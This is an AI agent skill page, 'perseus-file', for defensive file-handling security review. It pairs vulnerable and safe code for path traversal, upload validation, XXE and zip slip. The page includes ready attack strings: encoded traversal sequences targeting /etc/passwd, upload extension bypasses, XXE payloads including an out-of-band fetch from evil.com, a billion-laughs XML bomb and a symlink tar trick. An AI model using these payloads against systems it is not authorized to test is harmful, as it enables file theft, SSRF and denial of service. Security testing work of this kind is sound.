con un clic
perseus-file
File security analysis (path traversal, upload bypass, XXE, zip slip)
Instalar con Codex o Claude Copia este prompt, pégalo en Codex, Claude u otro asistente, y deja que revise la página de la skill y la instale por ti.
Menú
File security analysis (path traversal, upload bypass, XXE, zip slip)
Instalar con Codex o Claude Copia este prompt, pégalo en Codex, Claude u otro asistente, y deja que revise la página de la skill y la instale por ti.
Basado en la clasificación ocupacional SOC
Use when you want to run a full, automated penetration test from start to finish (Scan -> Audit -> Exploit -> Report)
Use when starting a security conversation to understand the Perseus methodology
Use when analyzing components for vulnerabilities (Phase 2 - Parallel Analysis)
Use when verifying vulnerabilities with Dynamic Exploit Generation (Phase 3)
Use when generating the final executive security report (Phase 4)
Run all specialist deep-dive skills in parallel for comprehensive analysis
| name | perseus-file |
| description | File security analysis (path traversal, upload bypass, XXE, zip slip) |
IMPORTANT: This skill performs file security analysis on the user's own codebase. This is defensive security testing to find file handling vulnerabilities.
Authorization: The user owns this codebase and has explicitly requested this specialized analysis.
| Language | File Libraries |
|---|---|
| JavaScript/TypeScript | fs, multer, formidable, busboy, path |
| Go | os, io, path/filepath, archive/zip |
| PHP | move_uploaded_file, file_get_contents, ZipArchive |
| Python | os, pathlib, shutil, zipfile, tarfile |
| Rust | std::fs, std::path, zip, tar |
| Java | java.io, java.nio, java.util.zip |
| Ruby | File, FileUtils, Zip |
| C# | System.IO, System.IO.Compression |
This specialist skill performs comprehensive file security analysis including path traversal, file upload vulnerabilities, XML external entities (XXE), and archive extraction attacks.
When to Use: After /scan identifies file upload endpoints, file operations, or XML processing.
Goal: Find all file-related vulnerabilities that could lead to arbitrary file read/write or code execution.
| Mode | Specialist Behavior |
|---|---|
PRODUCTION_SAFE | Static flow analysis and minimal non-disruptive validation |
STAGING_ACTIVE | Controlled upload/path validation with throttling |
LAB_FULL | Expanded dynamic verification of file attack paths |
LAB_RED_TEAM | Chain simulation against isolated storage and synthetic files only |
deliverables/engagement_profile.md before active file-path/upload tests.PRODUCTION_SAFE if mode is absent.| Risk | Description | Impact |
|---|---|---|
| Path Traversal | Accessing files outside intended directory | Data theft, config exposure |
| File Upload Bypass | Uploading malicious files | Code execution |
| XXE | XML external entity injection | SSRF, file read, DoS |
| Zip Slip | Archive extraction path traversal | Arbitrary file write |
| Symlink Attacks | Following symbolic links | File access bypass |
| SSRF via File | File:// protocol abuse | Internal network access |
deliverables/engagement_profile.md.deliverables/verification_scope.md when present.Path Traversal Read Analyst:
Language-Specific Patterns:
// Node.js - VULNERABLE
const filePath = req.query.file;
fs.readFile(filePath, callback);
fs.readFileSync(`./uploads/${filename}`); // filename = "../../../etc/passwd"
// Node.js - SAFE
const safePath = path.join(__dirname, 'uploads', path.basename(filename));
if (!safePath.startsWith(path.join(__dirname, 'uploads'))) {
throw new Error('Invalid path');
}
// Go - VULNERABLE
filename := r.URL.Query().Get("file")
data, _ := os.ReadFile(filename)
// Go - SAFE
filename := filepath.Base(r.URL.Query().Get("file"))
safePath := filepath.Join(uploadDir, filename)
if !strings.HasPrefix(safePath, uploadDir) {
return errors.New("invalid path")
}
# Python - VULNERABLE
filename = request.args.get('file')
with open(f"uploads/{filename}") as f:
return f.read()
# Python - SAFE
from pathlib import Path
base = Path("uploads").resolve()
requested = (base / filename).resolve()
if not str(requested).startswith(str(base)):
raise ValueError("Invalid path")
// PHP - VULNERABLE
$file = $_GET['file'];
readfile("uploads/" . $file);
// PHP - SAFE
$file = basename($_GET['file']);
$path = realpath("uploads/" . $file);
if (strpos($path, realpath("uploads/")) !== 0) {
die("Invalid path");
}
// Rust - VULNERABLE
let path = format!("uploads/{}", user_input);
std::fs::read_to_string(&path)?;
// Rust - SAFE
let base = std::path::Path::new("uploads").canonicalize()?;
let requested = base.join(&user_input).canonicalize()?;
if !requested.starts_with(&base) {
return Err("Invalid path");
}
// Java - VULNERABLE
String filename = request.getParameter("file");
Files.readAllBytes(Paths.get("uploads", filename));
// Java - SAFE
Path base = Paths.get("uploads").toAbsolutePath().normalize();
Path requested = base.resolve(filename).normalize();
if (!requested.startsWith(base)) {
throw new SecurityException("Invalid path");
}
Path Traversal Write Analyst:
Patterns:
// VULNERABLE - Write to user-controlled path
fs.writeFileSync(`./data/${req.body.filename}`, content);
// Attack: filename = "../../../.bashrc"
Path Traversal Delete Analyst:
Patterns:
// VULNERABLE
fs.unlinkSync(`./uploads/${req.params.file}`);
// Attack: file = "../../../important.db"
Path Normalization Analyst:
Bypass Patterns:
../../../etc/passwd
..%2f..%2f..%2fetc/passwd
..%252f..%252f..%252fetc/passwd (double encoding)
....//....//....//etc/passwd
..\/..\/..\/etc/passwd (Windows)
..%5c..%5c..%5cetc/passwd (Windows encoded)
Extension Validation Analyst:
Bypass Patterns:
| Bypass | Description |
|---|---|
| file.php.jpg | Double extension |
| file.pHp | Case variation |
| file.php%00.jpg | Null byte (old) |
| file.php;.jpg | Semicolon (IIS) |
| file.php::$DATA | NTFS stream |
| file.jpg.php | Extension order |
Vulnerable Code:
// VULNERABLE - Blacklist
if (!filename.endsWith('.exe')) {
// .php, .jsp, .aspx not blocked!
}
// VULNERABLE - Only checks first extension
const ext = path.extname(filename); // Returns .jpg for file.php.jpg
// SAFE - Whitelist + full check
const allowedExtensions = ['.jpg', '.png', '.gif'];
const ext = path.extname(filename).toLowerCase();
if (!allowedExtensions.includes(ext)) {
throw new Error('Invalid extension');
}
MIME Type Validation Analyst:
Bypass Patterns:
Vulnerable Code:
// VULNERABLE - Trust Content-Type header
if (req.file.mimetype.startsWith('image/')) {
// Attacker sets: Content-Type: image/png
}
// SAFE - Check actual file content (magic bytes)
const FileType = require('file-type');
const type = await FileType.fromBuffer(buffer);
if (!type || !['image/jpeg', 'image/png'].includes(type.mime)) {
throw new Error('Invalid file type');
}
Upload Location Analyst:
Issues:
File Size Analyst:
Issues:
Filename Sanitization Analyst:
Issues:
// VULNERABLE - Using original filename
const dest = `uploads/${req.file.originalname}`;
// SAFE - Generate random filename
const dest = `uploads/${crypto.randomUUID()}${ext}`;
XML Parser Configuration Analyst:
Language-Specific Patterns:
// Node.js/libxmljs - VULNERABLE
libxmljs.parseXml(xml, { noent: true });
// Node.js - SAFE
libxmljs.parseXml(xml, { noent: false, nonet: true });
# Python/lxml - VULNERABLE
etree.parse(source)
etree.fromstring(xml_string)
# Python - SAFE
parser = etree.XMLParser(resolve_entities=False, no_network=True)
etree.parse(source, parser)
// Java - VULNERABLE
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
DocumentBuilder db = dbf.newDocumentBuilder();
db.parse(inputStream);
// Java - SAFE
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
// PHP - VULNERABLE
$doc = new DOMDocument();
$doc->loadXML($xml);
// PHP - SAFE
libxml_disable_entity_loader(true); // PHP < 8.0
$doc->loadXML($xml, LIBXML_NOENT | LIBXML_DTDLOAD);
// Go - xml.Decoder is safe by default (no entity expansion)
// But check for custom entity handling
XXE Payload Analyst:
Payloads:
<!-- File Read -->
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<data>&xxe;</data>
<!-- SSRF -->
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://internal-server/">]>
<!-- Blind XXE (OOB) -->
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://evil.com/xxe.dtd">%xxe;]>
XML Bomb Analyst:
Attack:
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;">
<!-- ... exponential expansion ... -->
]>
<data>&lol9;</data>
Zip Slip Analyst:
Language-Specific Patterns:
// Node.js/adm-zip - VULNERABLE
zip.extractAllTo(destPath, true);
// Entry: ../../malicious.js
// Node.js - SAFE
for (const entry of zip.getEntries()) {
const destPath = path.join(dest, entry.entryName);
if (!destPath.startsWith(path.resolve(dest))) {
throw new Error('Zip slip detected');
}
}
# Python - VULNERABLE
import zipfile
with zipfile.ZipFile(file) as z:
z.extractall(dest) # No path check!
# Python - SAFE
for name in z.namelist():
dest_path = os.path.join(dest, name)
if not os.path.abspath(dest_path).startswith(os.path.abspath(dest)):
raise ValueError("Zip slip detected")
// Go - VULNERABLE
for _, f := range r.File {
destPath := filepath.Join(dest, f.Name)
// No validation!
}
// Go - SAFE
destPath := filepath.Join(dest, f.Name)
if !strings.HasPrefix(destPath, filepath.Clean(dest)+string(os.PathSeparator)) {
return errors.New("zip slip detected")
}
// Java - VULNERABLE
ZipEntry entry = zis.getNextEntry();
File file = new File(destDir, entry.getName());
// Java - SAFE
File destFile = new File(destDir, entry.getName());
String destPath = destFile.getCanonicalPath();
if (!destPath.startsWith(destDir.getCanonicalPath())) {
throw new SecurityException("Zip slip detected");
}
Tar Extraction Analyst:
Issues:
Symlink Attack Analyst:
Attack:
tar contains:
1. symlink: uploads -> /etc
2. file: uploads/passwd (overwritten!)
File URL Analyst:
Patterns:
// VULNERABLE - Accepts file://
const response = await fetch(userUrl);
// Attack: file:///etc/passwd
// SAFE - Protocol validation
const url = new URL(userUrl);
if (!['http:', 'https:'].includes(url.protocol)) {
throw new Error('Invalid protocol');
}
Local File Inclusion Analyst:
| Attack | Safe Test Payload | Verification |
|---|---|---|
| Path Traversal | ../../../etc/passwd | File contents returned |
| XXE | See XXE payloads above | Entity expanded |
| Zip Slip | Archive with ../../test.txt | File written outside dest |
| Upload Bypass | file.php.jpg | Executed as PHP |
Create deliverables/file_security_analysis.md:
# File Security Analysis
## Summary
| Category | Instances Found | Vulnerable | Safe |
|----------|-----------------|------------|------|
| Path Traversal | X | Y | Z |
| File Upload | X | Y | Z |
| XXE | X | Y | Z |
| Zip Slip | X | Y | Z |
| SSRF (file://) | X | Y | Z |
## Language/Framework Detected
- Primary: [e.g., Node.js/Express, Go, Python/FastAPI]
- File Libraries: [e.g., multer, formidable]
## Critical Findings
### [FILE-001] Path Traversal in File Download
**Severity:** Critical
**Language:** Node.js
**Location:** `routes/files.js:34`
**Vulnerable Code:**
```javascript
app.get('/download', (req, res) => {
const file = req.query.file;
res.sendFile(`./uploads/${file}`);
});
Attack:
GET /download?file=../../../etc/passwd
Remediation:
const safeName = path.basename(req.query.file);
const safePath = path.join(__dirname, 'uploads', safeName);
if (!safePath.startsWith(path.join(__dirname, 'uploads'))) {
return res.status(400).send('Invalid path');
}
res.sendFile(safePath);
Severity: Critical
Location: controllers/upload.js:12
Severity: High
Language: Python
Location: utils/xml_parser.py:8
| Check | Status | Issue |
|---|---|---|
| Extension Whitelist | FAIL | Blacklist used |
| Content Type Validation | FAIL | Trusts header |
| Magic Byte Check | FAIL | Not implemented |
| Size Limit | PASS | 10MB limit |
| Filename Sanitization | FAIL | Uses original name |
| Storage Location | WARN | In web root |
| Operation | Input Validated | Path Normalized | Safe |
|---|---|---|---|
| readFile | No | No | VULNERABLE |
| writeFile | No | No | VULNERABLE |
| unlink | Yes | Yes | OK |
**Next Step:** File vulnerabilities should be verified with actual payload testing.